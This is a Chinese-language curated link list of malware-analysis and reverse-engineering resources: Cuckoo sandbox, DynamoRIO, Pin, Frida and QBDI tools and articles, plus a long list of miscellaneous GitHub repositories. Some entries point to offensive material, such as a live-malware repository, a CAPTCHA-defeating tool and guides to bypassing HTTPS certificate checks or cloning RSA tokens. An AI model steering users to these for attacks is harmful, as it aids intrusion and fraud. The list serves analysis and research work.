# <a id="0ae4ddb81ff126789a7e08b0768bd693"></a>Cuckoo
***
## <a id="5830a8f8fb3af1a336053d84dd7330a1"></a>工具
### <a id="f2b5c44c2107db2cec6c60477c6aa1d0"></a>新添加的
- [**4042**星][3m] [JS] [cuckoosandbox/cuckoo](https://github.com/cuckoosandbox/cuckoo) Cuckoo Sandbox is an automated dynamic malware analysis system
- [**308**星][2m] [Py] [hatching/vmcloak](https://github.com/hatching/vmcloak) Automated Virtual Machine Generation and Cloaking for Cuckoo Sandbox.
- [**238**星][7m] [Py] [cuckoosandbox/community](https://github.com/cuckoosandbox/community) Repository of modules and signatures contributed by the community
- [**236**星][4m] [Py] [brad-sp/cuckoo-modified](https://github.com/brad-sp/cuckoo-modified) Modified edition of cuckoo
- [**225**星][1y] [PHP] [cuckoosandbox/monitor](https://github.com/cuckoosandbox/monitor) The new Cuckoo Monitor.
- [**220**星][4m] [Shell] [blacktop/docker-cuckoo](https://github.com/blacktop/docker-cuckoo) Cuckoo Sandbox Dockerfile
***
## <a id="ec0a441206d9a2fe1625dce0a679d466"></a>文章&&视频
- 2019.04 [eforensicsmag] [How to Integrate RSA Malware Analysis with Cuckoo Sandbox | By Luiz Henrique Borges](https://eforensicsmag.com/how-to-integrate-rsa-malware-analysis-with-cuckoo-sandbox-by-luiz-henrique-borges/)
- 2019.02 [thehive] [Cortex-Analyzers 1.15.3 get ready for URLhaus and Cuckoo](https://blog.thehive-project.org/2019/02/26/cortex-analyzers-1-15-3-get-ready-for-urlhaus-and-cuckoo/)
- 2018.07 [360] [一例IRC Bot针对Cuckoo沙箱的猥琐对抗分析](https://www.anquanke.com/post/id/152631/)
- 2018.05 [trustedsec] [Malware Analysis is for the (Cuckoo) Birds – Working with Proxmox](https://www.trustedsec.com/2018/05/working-with-proxmox/)
- 2018.05 [trustedsec] [Protected: Malware Analysis is for the (Cuckoo) Birds](https://www.trustedsec.com/2018/05/malware-cuckoo-1/)
- 2018.05 [trustedsec] [Protected: Malware Analysis is for the (Cuckoo) Birds – Cuckoo Installation Notes for Debian](https://www.trustedsec.com/2018/05/malware-cuckoo-2/)
- 2018.04 [ly0n] [Automating malware analysis, cuckoo api + postfix](https://paumunoz.tech/2018/04/25/automating-malware-analysis-cuckoo-api-postfix/)
- 2018.04 [ly0n] [Automating malware analysis, cuckoo api + postfix](http://ly0n.me/2018/04/25/automating-malware-analysis-cuckoo-api-postfix/)
- 2018.04 [nviso] [Painless Cuckoo Sandbox Installation](https://blog.nviso.be/2018/04/12/painless-cuckoo-sandbox-installation/)
- 2018.03 [rapid7] [Next Threat Intel Book Club 4/5: Recapping The Cuckoo’s Egg](https://blog.rapid7.com/2018/03/18/next-threat-intel-book-club-4-5-recapping-the-cuckoos-egg/)
- 2018.03 [ensurtec] [Cuckoo Sandbox Setup Tutorial](https://ensurtec.com/cuckoo-sandbox-setup-tutorial/)
- 2018.01 [fortinet] [Prevalent Threats Targeting Cuckoo Sandbox Detection and Our Mitigation](https://blog.fortinet.com/2018/01/03/prevalent-threats-targeting-cuckoo-sandbox-detection-and-our-mitigation)
- 2018.01 [fortinet] [Prevalent Threats Targeting Cuckoo Sandbox Detection and Our Mitigation](https://www.fortinet.com/blog/threat-research/prevalent-threats-targeting-cuckoo-sandbox-detection-and-our-mitigation.html)
- 2017.09 [360] [在细节中捕捉恶魔 ：提升Cuckoo沙箱捕获恶意Office样本行为的能力](https://www.anquanke.com/post/id/86826/)
- 2017.08 [trustwave] [Cuckoo & Linux Subsystem: Some Love for Windows 10](https://www.trustwave.com/Resources/SpiderLabs-Blog/Cuckoo--Linux-Subsystem--Some-Love-for-Windows-10/)
- 2017.08 [n0where] [Automated Android Malware Analysis: CuckooDroid](https://n0where.net/automated-android-malware-analysis-cuckoodroid)
- 2017.05 [robertputt] [Basic Malware Analysis with Cuckoo Sandbox](http://robertputt.co.uk/basic-malware-analysis-with-cuckoo-sandbox.html)
- 2017.05 [rastamouse] [Playing with Cuckoo](https://rastamouse.me/2017/05/playing-with-cuckoo/)
- 2017.04 [mcafee] [OpenDXL Case Study: Sandbox Mania featuring Cuckoo and Wildfire](https://securingtomorrow.mcafee.com/business/optimize-operations/opendxl-case-study-sandbox-mania-featuring-cuckoo-wildfire/)
- 2016.11 [tribalchicken] [Guide: Cuckoo Sandbox on FreeBSD](https://tribalchicken.io/guide-cuckoo-sandbox-on-freebsd/)
# <a id="7ab3a7005d6aa699562b3a0a0c6f2cff"></a>DBI
***
## <a id="c8cdb0e30f24e9b7394fcd5681f2e419"></a>DynamoRIO
### <a id="6c4841dd91cb173093ea2c8d0b557e71"></a>工具
#### <a id="3a577a5b4730a1b5b3b325269509bb0a"></a>DynamoRIO
- [**1388**星][12d] [C] [dynamorio/drmemory](https://github.com/dynamorio/drmemory) Memory Debugger for Windows, Linux, Mac, and Android
- [**1228**星][12d] [C] [dynamorio/dynamorio](https://github.com/dynamorio/dynamorio) Dynamic Instrumentation Tool Platform
#### <a id="ff0abe26a37095f6575195950e0b7f94"></a>新添加的
- [**1364**星][3m] [C] [googleprojectzero/winafl](https://github.com/googleprojectzero/winafl) A fork of AFL for fuzzing Windows binaries
- [**249**星][5m] [C] [ampotos/dynstruct](https://github.com/ampotos/dynstruct) Reverse engineering tool for automatic structure recovering and memory use analysis based on DynamoRIO and Capstone
#### <a id="928642a55eff34b6b52622c6862addd2"></a>与其他工具交互
### <a id="9479ce9f475e4b9faa4497924a2e40fc"></a>文章&&视频
- 2019.10 [freebuf] [DrSemu：基于动态行为的恶意软件检测与分类工具](https://www.freebuf.com/sectool/214277.html)
- 2019.06 [freebuf] [Functrace：使用DynamoRIO追踪函数调用](https://www.freebuf.com/sectool/205989.html)
- 2019.01 [360] [深入浅出——基于DynamoRIO的strace和ltrace](https://www.anquanke.com/post/id/169257/)
- 2018.08 [n0where] [Dynamic API Call Tracer for Windows and Linux Applications: Drltrace](https://n0where.net/dynamic-api-call-tracer-for-windows-and-linux-applications-drltrace)
- 2018.07 [topsec] [动态二进制修改(Dynamic Binary Instrumentation)入门：Pin、DynamoRIO、Frida](http://blog.topsec.com.cn/%e5%8a%a8%e6%80%81%e4%ba%8c%e8%bf%9b%e5%88%b6%e4%bf%ae%e6%94%b9dynamic-binary-instrumentation%e5%85%a5%e9%97%a8%ef%bc%9apin%e3%80%81dynamorio%e3%80%81frida/)
- 2017.11 [SECConsult] [The Art of Fuzzing - Demo 10: In-memory Fuzzing HashCalc using DynamoRio](https://www.youtube.com/watch?v=FEJGlgBeUJ8)
- 2017.11 [SECConsult] [The Art of Fuzzing - Demo 6: Extract Coverage Information using DynamoRio](https://www.youtube.com/watch?v=Ur_E9c2vX1A)
- 2017.04 [pediy] [[原创]通过Selife学习使用DynamoRIO动态插桩](https://bbs.pediy.com/thread-216970.htm)
- 2016.11 [360] [“Selfie”：利用DynamoRIO实现自修改代码自动脱壳的神器](https://www.anquanke.com/post/id/84999/)
- 2016.09 [securitygossip] [Practical Memory Checking With Dr. Memory](http://securitygossip.com/blog/2016/09/12/2016-09-12/)
- 2016.09 [sjtu] [Practical Memory Checking With Dr. Memory](https://loccs.sjtu.edu.cn/gossip/blog/2016/09/12/2016-09-12/)
- 2016.08 [n0where] [Dynamic Instrumentation Tool Platform: DynamoRIO](https://n0where.net/dynamic-instrumentation-tool-platform-dynamorio)
- 2014.01 [dustri] [Memory debugging under Windows with drmemory](https://dustri.org/b/memory-debugging-under-windows-with-drmemory.html)
- 2012.10 [redplait] [building dynamorio](http://redplait.blogspot.com/2012/10/building-dynamorio.html)
- 2011.06 [redplait] [dynamorio](http://redplait.blogspot.com/2011/06/dynamorio.html)
***
## <a id="7b8a493ca344f41887792fcc008573e7"></a>IntelPin
### <a id="fe5a6d7f16890542c9e60857706edfde"></a>工具
#### <a id="78a2edf9aa41eb321436cb150ea70a54"></a>新添加的
- [**299**星][2m] [C] [vusec/vuzzer](https://github.com/vusec/vuzzer) depends heavily on a modeified version of DataTracker, which in turn depends on LibDFT pintool.
#### <a id="e6a829abd8bbc5ad2e5885396e3eec04"></a>与其他工具交互
##### <a id="e129288dfadc2ab0890667109f93a76d"></a>未分类
- [**943**星][1y] [Py] [gaasedelen/lighthouse](https://github.com/gaasedelen/lighthouse) 从DBI中收集代码覆盖情况，在IDA/Binja中映射、浏览、查看
- 重复区段: [IDA->插件->调试->DBI数据](#0fbd352f703b507853c610a664f024d1) |[DBI->Frida->工具->与其他工具交互->IDA](#d628ec92c9eea0c4b016831e1f6852b3) |[DBI->Frida->工具->与其他工具交互->BinaryNinja](#f9008a00e2bbc7535c88602aa79c8fd8) |
- [coverage-frida](https://github.com/gaasedelen/lighthouse/blob/master/coverage/frida/README.md) 使用Frida收集信息
- [coverage-pin](https://github.com/gaasedelen/lighthouse/blob/master/coverage/pin/README.md) 使用Pin收集覆盖信息
- [插件](https://github.com/gaasedelen/lighthouse/blob/master/plugin/lighthouse_plugin.py) 支持IDA和BinNinja
### <a id="226190bea6ceb98ee5e2b939a6515fac"></a>文章&&视频
***
## <a id="f24f1235fd45a1aa8d280eff1f03af7e"></a>Frida
### <a id="a5336a0f9e8e55111bda45c8d74924c1"></a>工具
#### <a id="6d3c24e43835420063f9ca50ba805f15"></a>Frida
- [**4516**星][13d] [Makefile] [frida/frida](https://github.com/frida/frida) Clone this repo to build Frida
#### <a id="54836a155de0c15b56f43634cd9cfecf"></a>新添加的
- [**1193**星][15d] [JS] [alonemonkey/frida-ios-dump](https://github.com/alonemonkey/frida-ios-dump) pull decrypted ipa from jailbreak device
- 重复区段: [Apple->越狱->工具](#ff19d5d94315d035bbcb3ef0c348c75b) |
- [**895**星][5m] [JS] [dpnishant/appmon](https://github.com/dpnishant/appmon) 用于监视和篡改本地macOS，iOS和android应用程序的系统API调用的自动化框架。基于Frida。
- [**645**星][16d] [Py] [igio90/dwarf](https://github.com/igio90/dwarf) Full featured multi arch/os debugger built on top of PyQt5 and frida
- [**559**星][1m] [JS] [nccgroup/house](https://github.com/nccgroup/house) 运行时手机 App 分析工具包, 带Web GUI
- [**513**星][1m] [JS] [iddoeldor/frida-snippets](https://github.com/iddoeldor/frida-snippets) Hand-crafted Frida examples
- [**422**星][1y] [Py] [dstmath/frida-unpack](https://github.com/dstmath/frida-unpack) 基于Frida的脱壳工具
- [**420**星][13d] [C] [frida/frida-python](https://github.com/frida/frida-python) Frida Python bindings
- [**332**星][15d] [JS] [chichou/bagbak](https://github.com/ChiChou/bagbak) Yet another frida based iOS dumpdecrypted, works on iOS 13 with checkra1n and supports decrypting app extensions
- [**321**星][1m] [C] [frida/frida-core](https://github.com/frida/frida-core) Frida core library intended for static linking into bindings
- [**308**星][4m] [JS] [smartdone/frida-scripts](https://github.com/smartdone/frida-scripts) 一些frida脚本
- [**283**星][8m] [Py] [nightbringer21/fridump](https://github.com/nightbringer21/fridump) A universal memory dumper using Frida
- [**243**星][19d] [JS] [frenchyeti/dexcalibur](https://github.com/frenchyeti/dexcalibur) Dynamic binary instrumentation tool designed for Android application and powered by Frida. It disassembles dex, analyzes it statically, generates hooks, discovers reflected methods, stores intercepted data and does new things from it. Its aim is to be an all-in-one Android reverse engineering platform.
- [**228**星][13d] [C] [frida/frida-gum](https://github.com/frida/frida-gum) Low-level code instrumentation library used by frida-core
#### <a id="74fa0c52c6104fd5656c93c08fd1ba86"></a>与其他工具交互
##### <a id="00a86c65a84e58397ee54e85ed57feaf"></a>未分类
- [**584**星][1y] [Java] [federicodotta/brida](https://github.com/federicodotta/brida) The new bridge between Burp Suite and Frida!
##### <a id="d628ec92c9eea0c4b016831e1f6852b3"></a>IDA
- [**943**星][1y] [Py] [gaasedelen/lighthouse](https://github.com/gaasedelen/lighthouse) 从DBI中收集代码覆盖情况，在IDA/Binja中映射、浏览、查看
- 重复区段: [IDA->插件->调试->DBI数据](#0fbd352f703b507853c610a664f024d1) |[DBI->IntelPin->工具->与其他工具交互->未分类](#e129288dfadc2ab0890667109f93a76d) |[DBI->Frida->工具->与其他工具交互->BinaryNinja](#f9008a00e2bbc7535c88602aa79c8fd8) |
- [coverage-frida](https://github.com/gaasedelen/lighthouse/blob/master/coverage/frida/README.md) 使用Frida收集信息
- [coverage-pin](https://github.com/gaasedelen/lighthouse/blob/master/coverage/pin/README.md) 使用Pin收集覆盖信息
- [插件](https://github.com/gaasedelen/lighthouse/blob/master/plugin/lighthouse_plugin.py) 支持IDA和BinNinja
##### <a id="f9008a00e2bbc7535c88602aa79c8fd8"></a>BinaryNinja
- [**943**星][1y] [Py] [gaasedelen/lighthouse](https://github.com/gaasedelen/lighthouse) 从DBI中收集代码覆盖情况，在IDA/Binja中映射、浏览、查看
- 重复区段: [IDA->插件->调试->DBI数据](#0fbd352f703b507853c610a664f024d1) |[DBI->IntelPin->工具->与其他工具交互->未分类](#e129288dfadc2ab0890667109f93a76d) |[DBI->Frida->工具->与其他工具交互->IDA](#d628ec92c9eea0c4b016831e1f6852b3) |
- [coverage-frida](https://github.com/gaasedelen/lighthouse/blob/master/coverage/frida/README.md) 使用Frida收集信息
- [coverage-pin](https://github.com/gaasedelen/lighthouse/blob/master/coverage/pin/README.md) 使用Pin收集覆盖信息
- [插件](https://github.com/gaasedelen/lighthouse/blob/master/plugin/lighthouse_plugin.py) 支持IDA和BinNinja
##### <a id="ac053c4da818ca587d57711d2ff66278"></a>Radare2
- [**378**星][27d] [JS] [nowsecure/r2frida](https://github.com/nowsecure/r2frida) Radare2 and Frida better together.
- 重复区段: [Radare2->插件->与其他工具交互->未分类](#dfe53924d678f9225fc5ece9413b890f) |
### <a id="a1a7e3dd7091b47384c75dba8f279caf"></a>文章&&视频
- 2019.12 [xakcop] [Cloning RSA tokens with Frida](https://xakcop.com/post/cloning-rsa/)
- 2019.09 [freebuf] [Dwarf：一款基于Pyqt5和Frida的逆向分析调试工具](https://www.freebuf.com/sectool/212123.html)
- 2019.06 [two06] [Fun With Frida](https://medium.com/p/5d0f55dd331a)
- 2019.05 [nsfocus] [基于Frida进行通信数据“解密”](http://blog.nsfocus.net/communication-data-decryption-based-on-frida/)
- 2019.05 [nsfocus] [Frida应用基础及 APP https证书验证破解](http://blog.nsfocus.net/frida%e5%ba%94%e7%94%a8%e5%9f%ba%e7%a1%80%e5%8f%8a-app-https%e8%af%81%e4%b9%a6%e9%aa%8c%e8%af%81%e7%a0%b4%e8%a7%a3/)
- 2019.05 [nsfocus] [Frida应用基础及 APP https证书验证破解](http://blog.nsfocus.net/frida-application-foundation-app-https-certificate-verification-cracking-2/)
- 2019.05 [nsfocus] [Frida应用基础及APP https证书验证破解](http://blog.nsfocus.net/frida-application-foundation-app-https-certificate-verification-cracking/)
- 2019.05 [CodeColorist] [Trace child process with frida on macOS](https://medium.com/p/3b8f0f953f3d)
- 2019.05 [360] [FRIDA脚本系列（四）更新篇：几个主要机制的大更新](https://www.anquanke.com/post/id/177597/)
- 2019.03 [360] [FRIDA脚本系列（三）超神篇：百度AI“调教”抖音AI](https://www.anquanke.com/post/id/175621/)
- 2019.03 [securityinnovation] [Setting up Frida Without Jailbreak on the Latest iOS 12.1.4 Device](https://blog.securityinnovation.com/frida)
- 2019.02 [nowsecure] [Frida 12.3 Debuts New Crash Reporting Feature](https://www.nowsecure.com/blog/2019/02/07/frida-12-3-debuts-new-crash-reporting-feature/)
- 2019.01 [fuzzysecurity] [Windows Hacking 之：ApplicationIntrospection & Hooking With Frida](http://fuzzysecurity.com/tutorials/29.html)
- 2019.01 [fuping] [安卓APP测试之HOOK大法-Frida篇](https://fuping.site/2019/01/25/Frida-Hook-SoulAPP/)
- 2019.01 [360] [FRIDA脚本系列（二）成长篇：动静态结合逆向WhatsApp](https://www.anquanke.com/post/id/169315/)
- 2019.01 [pediy] [[原创]介召几个frida在安卓逆向中使用的脚本以及延时Hook手法](https://bbs.pediy.com/thread-248848.htm)
- 2018.12 [360] [FRIDA脚本系列（一）入门篇：在安卓8.1上dump蓝牙接口和实例](https://www.anquanke.com/post/id/168152/)
- 2018.12 [pediy] [[原创]CVE-2017-4901 VMware虚拟机逃逸漏洞分析【Frida Windows实例】](https://bbs.pediy.com/thread-248384.htm)
- 2018.12 [freebuf] [一篇文章带你领悟Frida的精髓（基于安卓8.1）](https://www.freebuf.com/articles/system/190565.html)
- 2018.12 [pediy] [[原创] Frida操作手册-Android环境准备](https://bbs.pediy.com/thread-248293.htm)
***
## <a id="b2fca17481b109a9b3b0bc290a1a1381"></a>QBDI
### <a id="e72b766bcd3b868c438a372bc365221e"></a>工具
- [**578**星][1y] [C++] [qbdi/qbdi](https://github.com/QBDI/QBDI) A Dynamic Binary Instrumentation framework based on LLVM.
### <a id="2cf79f93baf02a24d95d227a0a3049d8"></a>文章&&视频
- 2019.09 [quarkslab] [QBDI 0.7.0](https://blog.quarkslab.com/qbdi-070.html)
- 2019.07 [freebuf] [教你如何使用QBDI动态二进制检测框架](https://www.freebuf.com/sectool/207898.html)
- 2019.06 [quarkslab] [Android Native Library Analysis with QBDI](https://blog.quarkslab.com/android-native-library-analysis-with-qbdi.html)
- 2018.01 [quarkslab] [Slaying Dragons with QBDI](https://blog.quarkslab.com/slaying-dragons-with-qbdi.html)
- 2018.01 [pentesttoolz] [QBDI – QuarkslaB Dynamic binary Instrumentation](https://pentesttoolz.com/2018/01/13/qbdi-quarkslab-dynamic-binary-instrumentation/)
- 2018.01 [n0where] [QuarkslaB Dynamic binary Instrumentation: QBDI](https://n0where.net/quarkslab-dynamic-binary-instrumentation-qbdi)
***
## <a id="5a9974bfcf7cdf9b05fe7a7dc5272213"></a>其他
### <a id="104bc99e36692f133ba70475ebc8825f"></a>工具
### <a id="8f1b9c5c2737493524809684b934d49a"></a>文章&&视频
- 2018.08 [4hou] [动态二进制插桩的原理和基本实现过程（一）](http://www.4hou.com/binary/13026.html)
# <a id="d3690e0b19c784e104273fe4d64b2362"></a>其他
***
## <a id="9162e3507d24e58e9e944dd3f6066c0e"></a> 文章-新添加的
***
## <a id="1d9dec1320a5d774dc8e0e7604edfcd3"></a>工具-新添加的
- [**19766**星][3m] [Jupyter Notebook] [camdavidsonpilon/probabilistic-programming-and-bayesian-methods-for-hackers](https://github.com/camdavidsonpilon/probabilistic-programming-and-bayesian-methods-for-hackers) aka "Bayesian Methods for Hackers": An introduction to Bayesian methods + probabilistic programming with a computation/understanding-first, mathematics-second point of view. All in pure Python ;)
- [**14349**星][2m] [Py] [corentinj/real-time-voice-cloning](https://github.com/corentinj/real-time-voice-cloning) Clone a voice in 5 seconds to generate arbitrary speech in real-time
- [**11402**星][10d] [Java] [oracle/graal](https://github.com/oracle/graal) Run Programs Faster Anywhere
- [**11213**星][2m] [Jupyter Notebook] [selfteaching/the-craft-of-selfteaching](https://github.com/selfteaching/the-craft-of-selfteaching) One has no future if one couldn't teach themself.
- [**10378**星][11d] [Go] [goharbor/harbor](https://github.com/goharbor/harbor) An open source trusted cloud native registry project that stores, signs, and scans content.
- [**7748**星][10d] [Go] [git-lfs/git-lfs](https://github.com/git-lfs/git-lfs) Git extension for versioning large files
- [**7020**星][14d] [Go] [nats-io/nats-server](https://github.com/nats-io/nats-server) High-Performance server for NATS, the cloud native messaging system.
- [**6894**星][2m] [Go] [sqshq/sampler](https://github.com/sqshq/sampler) A tool for shell commands execution, visualization and alerting. Configured with a simple YAML file.
- [**6454**星][9m] [HTML] [open-power-workgroup/hospital](https://github.com/open-power-workgroup/hospital) OpenPower工作组收集汇总的医院开放数据
- [**6353**星][2m] [Py] [seatgeek/fuzzywuzzy](https://github.com/seatgeek/fuzzywuzzy) Fuzzy String Matching in Python
- [**6055**星][7m] [JS] [haotian-wang/google-access-helper](https://github.com/haotian-wang/google-access-helper) 谷歌访问助手破解版
- [**5876**星][3m] [Gnuplot] [nasa-jpl/open-source-rover](https://github.com/nasa-jpl/open-source-rover) A build-it-yourself, 6-wheel rover based on the rovers on Mars!
- [**5829**星][7m] [JS] [sindresorhus/fkill-cli](https://github.com/sindresorhus/fkill-cli) Fabulously kill processes. Cross-platform.
- [**5753**星][18d] [Go] [casbin/casbin](https://github.com/casbin/casbin) An authorization library that supports access control models like ACL, RBAC, ABAC in Golang
- [**5751**星][9m] [C] [xoreaxeaxeax/movfuscator](https://github.com/xoreaxeaxeax/movfuscator) C编译器，编译的二进制文件只有1个代码块。
- [**5717**星][28d] [JS] [swagger-api/swagger-editor](https://github.com/swagger-api/swagger-editor) Swagger Editor
- [**5420**星][12d] [Py] [mlflow/mlflow](https://github.com/mlflow/mlflow) Open source platform for the machine learning lifecycle
- [**5229**星][4m] [Py] [ytisf/thezoo](https://github.com/ytisf/thezoo) A repository of LIVE malwares for your own joy and pleasure. theZoo is a project created to make the possibility of malware analysis open and available to the public.
- [**5226**星][13d] [Shell] [denisidoro/navi](https://github.com/denisidoro/navi) An interactive cheatsheet tool for the command-line
- [**5116**星][11d] [ASP] [hq450/fancyss](https://github.com/hq450/fancyss) fancyss is a project providing tools to across the GFW on asuswrt/merlin based router.
- [**5007**星][2m] [Py] [snare/voltron](https://github.com/snare/voltron) A hacky debugger UI for hackers
- [**4857**星][13d] [Go] [gcla/termshark](https://github.com/gcla/termshark) A terminal UI for tshark, inspired by Wireshark
- [**4810**星][8m] [Py] [10se1ucgo/disablewintracking](https://github.com/10se1ucgo/disablewintracking) Uses some known methods that attempt to minimize tracking in Windows 10
- [**4747**星][8d] [C++] [paddlepaddle/paddle-lite](https://github.com/PaddlePaddle/Paddle-Lite) Multi-platform high performance deep learning inference engine (『飞桨』多平台高性能深度学习预测引擎）
- [**4651**星][13d] [powershell/win32-openssh](https://github.com/powershell/win32-openssh) Win32 port of OpenSSH
- [**4610**星][1y] [C] [upx/upx](https://github.com/upx/upx) UPX - the Ultimate Packer for eXecutables
- [**4600**星][12m] [Py] [ecthros/uncaptcha2](https://github.com/ecthros/uncaptcha2) defeating the latest version of ReCaptcha with 91% accuracy
- [**4597**星][12d] [C++] [mozilla/rr](https://github.com/mozilla/rr) 记录与重放App的调试执行过程
- [**4541**星][4m] [TS] [apis-guru/graphql-voyager](https://github.com/apis-guru/graphql-voyager)
- [**4352**星][1y] [Py] [lennylxx/ipv6-hosts](https://github.com/lennylxx/ipv6-hosts) Fork of
- [**4314**星][15d] [Rust] [timvisee/ffsend](https://github.com/timvisee/ffsend) Easily and securely share files from the command line
- [**4258**星][12m] [JS] [butterproject/butter-desktop](https://github.com/butterproject/butter-desktop) All the free parts of Popcorn Time
- [**4062**星][3m] [Java] [jesusfreke/smali](https://github.com/jesusfreke/smali) smali/baksmali
- [**4060**星][2m] [JS] [sigalor/whatsapp-web-reveng](https://github.com/sigalor/whatsapp-web-reveng) WhatsApp Web API逆向与重新实现
- [**4003**星][11d] [Go] [dexidp/dex](https://github.com/dexidp/dex) OpenID Connect Identity (OIDC) and OAuth 2.0 Provider with Pluggable Connectors
- [**3980**星][1m] [Rust] [svenstaro/genact](https://github.com/svenstaro/genact) a nonsense activity generator
- [**3960**星][11d] [Py] [angr/angr](https://github.com/angr/angr) A powerful and user-friendly binary analysis platform!
- [**3954**星][16d] [Go] [eranyanay/1m-go-websockets](https://github.com/eranyanay/1m-go-websockets) handling 1M websockets connections in Go
- [**3939**星][15d] [C] [aquynh/capstone](https://github.com/aquynh/capstone) Capstone disassembly/disassembler framework: Core (Arm, Arm64, BPF, EVM, M68K, M680X, MOS65xx, Mips, PPC, RISCV, Sparc, SystemZ, TMS320C64x, Web Assembly, X86, X86_64, XCore) + bindings.
- [**3908**星][12d] [C++] [baldurk/renderdoc](https://github.com/baldurk/renderdoc) RenderDoc is a stand-alone graphics debugging tool.
- [**3844**星][2m] [ObjC] [sveinbjornt/sloth](https://github.com/sveinbjornt/sloth) Mac app that shows all open files, directories and sockets in use by all running processes. Nice GUI for lsof.
- [**3773**星][25d] [jjqqkk/chromium](https://github.com/jjqqkk/chromium) Chromium browser with SSL VPN. Use this browser to unblock websites.
- [**3768**星][2m] [Go] [microsoft/ethr](https://github.com/microsoft/ethr) Ethr is a Network Performance Measurement Tool for TCP, UDP & HTTP.
- [**3749**星][12d] [Go] [hashicorp/consul-template](https://github.com/hashicorp/consul-template) Template rendering, notifier, and supervisor for
- [**3690**星][21d] [JS] [lesspass/lesspass](https://github.com/lesspass/lesspass)
- [**3688**星][29d] [HTML] [hamukazu/lets-get-arrested](https://github.com/hamukazu/lets-get-arrested) This project is intended to protest against the police in Japan
- [**3627**星][26d] [HTML] [consensys/smart-contract-best-practices](https://github.com/consensys/smart-contract-best-practices) A guide to smart contract security best practices
- [**3608**星][9d] [Pascal] [cheat-engine/cheat-engine](https://github.com/cheat-engine/cheat-engine) Cheat Engine. A development environment focused on modding
- [**3538**星][5m] [Shell] [chengr28/revokechinacerts](https://github.com/chengr28/revokechinacerts) Revoke Chinese certificates.
- [**3505**星][16d] [C] [cyan4973/xxhash](https://github.com/cyan4973/xxhash) Extremely fast non-cryptographic hash algorithm
- [**3451**星][19d] [C] [mikebrady/shairport-sync](https://github.com/mikebrady/shairport-sync) AirPlay audio player. Shairport Sync adds multi-room capability with Audio Synchronisation
- [**3306**星][19d] [C] [microsoft/windows-driver-samples](https://github.com/microsoft/windows-driver-samples) This repo contains driver samples prepared for use with Microsoft Visual Studio and the Windows Driver Kit (WDK). It contains both Universal Windows Driver and desktop-only driver samples.
- [**3295**星][15d] [JS] [koenkk/zigbee2mqtt](https://github.com/koenkk/zigbee2mqtt) Zigbee
- [**3289**星][15d] [C] [virustotal/yara](https://github.com/virustotal/yara) The pattern matching swiss knife
- [**3280**星][29d] [Java] [oldmanpushcart/greys-anatomy](https://github.com/oldmanpushcart/greys-anatomy) Java诊断工具
- [**3243**星][14d] [Shell] [gfw-breaker/ssr-accounts](https://github.com/gfw-breaker/ssr-accounts) 一键部署Shadowsocks服务；免费Shadowsocks账号分享；免费SS账号分享; 翻墙；无界，自由门，SquirrelVPN
- [**3233**星][25d] [C] [tmate-io/tmate](https://github.com/tmate-io/tmate) Instant Terminal Sharing
- [**3219**星][2m] [TS] [google/incremental-dom](https://github.com/google/incremental-dom) An in-place DOM diffing library
- [**3202**星][1y] [Shell] [toyodadoubi/doubi](https://github.com/toyodadoubi/doubi) 一个逗比写的各种逗比脚本~
- [**3188**星][11d] [C] [meetecho/janus-gateway](https://github.com/meetecho/janus-gateway) Janus WebRTC Server
- [**3131**星][2m] [CSS] [readthedocs/sphinx_rtd_theme](https://github.com/readthedocs/sphinx_rtd_theme) Sphinx theme for readthedocs.org
- [**3129**星][13d] [C] [qemu/qemu](https://github.com/qemu/qemu) Official QEMU mirror. Please see
- [**3120**星][11d] [Go] [tencent/bk-cmdb](https://github.com/tencent/bk-cmdb) 蓝鲸智云配置平台(BlueKing CMDB)
- [**3108**星][1m] [C] [unicorn-engine/unicorn](https://github.com/unicorn-engine/unicorn) Unicorn CPU emulator framework (ARM, AArch64, M68K, Mips, Sparc, X86)
- [**3052**星][4m] [C++] [google/robotstxt](https://github.com/google/robotstxt) The repository contains Google's robots.txt parser and matcher as a C++ library (compliant to C++11).
- [**2993**星][18d] [Py] [quantaxis/quantaxis](https://github.com/quantaxis/quantaxis) 支持任务调度 分布式部署的 股票/期货/自定义市场 数据/回测/模拟/交易/可视化 纯本地PAAS量化解决方案
- [**2980**星][14d] [ObjC] [google/santa](https://github.com/google/santa) 用于Mac系统的二进制文件白名单/黑名单系统
- [**2948**星][1m] [C] [libfuse/sshfs](https://github.com/libfuse/sshfs) A network filesystem client to connect to SSH servers
- [**2898**星][8m] [C] [p-h-c/phc-winner-argon2](https://github.com/p-h-c/phc-winner-argon2) The password hash Argon2, winner of PHC
- [**2872**星][14d] [C] [lxc/lxc](https://github.com/lxc/lxc) LXC - Linux Containers
- [**2854**星][1m] [Py] [espressif/esptool](https://github.com/espressif/esptool) ESP8266 and ESP32 serial bootloader utility
- [**2848**星][6m] [Py] [instantbox/instantbox](https://github.com/instantbox/instantbox) Get a clean, ready-to-go Linux box in seconds.
- [**2833**星][2m] [Assembly] [cirosantilli/x86-bare-metal-examples](https://github.com/cirosantilli/x86-bare-metal-examples) 几十个用于学习 x86 系统编程的小型操作系统
- [**2815**星][20d] [C] [processhacker/processhacker](https://github.com/processhacker/processhacker) A free, powerful, multi-purpose tool that helps you monitor system resources, debug software and detect malware.
- [**2808**星][10m] [Py] [plasma-disassembler/plasma](https://github.com/plasma-disassembler/plasma) Plasma is an interactive disassembler for x86/ARM/MIPS. It can generates indented pseudo-code with colored syntax.
- [**2789**星][13d] [C++] [qtox/qtox](https://github.com/qtox/qtox) qTox is a chat, voice, video, and file transfer IM client using the encrypted peer-to-peer Tox protocol.
- [**2772**星][2m] [JS] [trufflesuite/ganache-cli](https://github.com/trufflesuite/ganache-cli) Fast Ethereum RPC client for testing and development
- [**2760**星][10d] [TS] [webhintio/hint](https://github.com/webhintio/hint)
- [**2718**星][3m] [Py] [drivendata/cookiecutter-data-science](https://github.com/drivendata/cookiecutter-data-science) A logical, reasonably standardized, but flexible project structure for doing and sharing data science work.
- [**2687**星][11d] [Go] [adguardteam/adguardhome](https://github.com/adguardteam/adguardhome) Network-wide ads & trackers blocking DNS server
- [**2631**星][8m] [leandromoreira/linux-network-performance-parameters](https://github.com/leandromoreira/linux-network-performance-parameters) Learn where some of the network sysctl variables fit into the Linux/Kernel network flow
- [**2627**星][23d] [JS] [popcorn-official/popcorn-desktop](https://github.com/popcorn-official/popcorn-desktop) Popcorn Time is a multi-platform, free software BitTorrent client that includes an integrated media player. Desktop ( Windows / Mac / Linux ) a Butter-Project Fork
- [**2621**星][2m] [pditommaso/awesome-pipeline](https://github.com/pditommaso/awesome-pipeline) A curated list of awesome pipeline toolkits inspired by Awesome Sysadmin
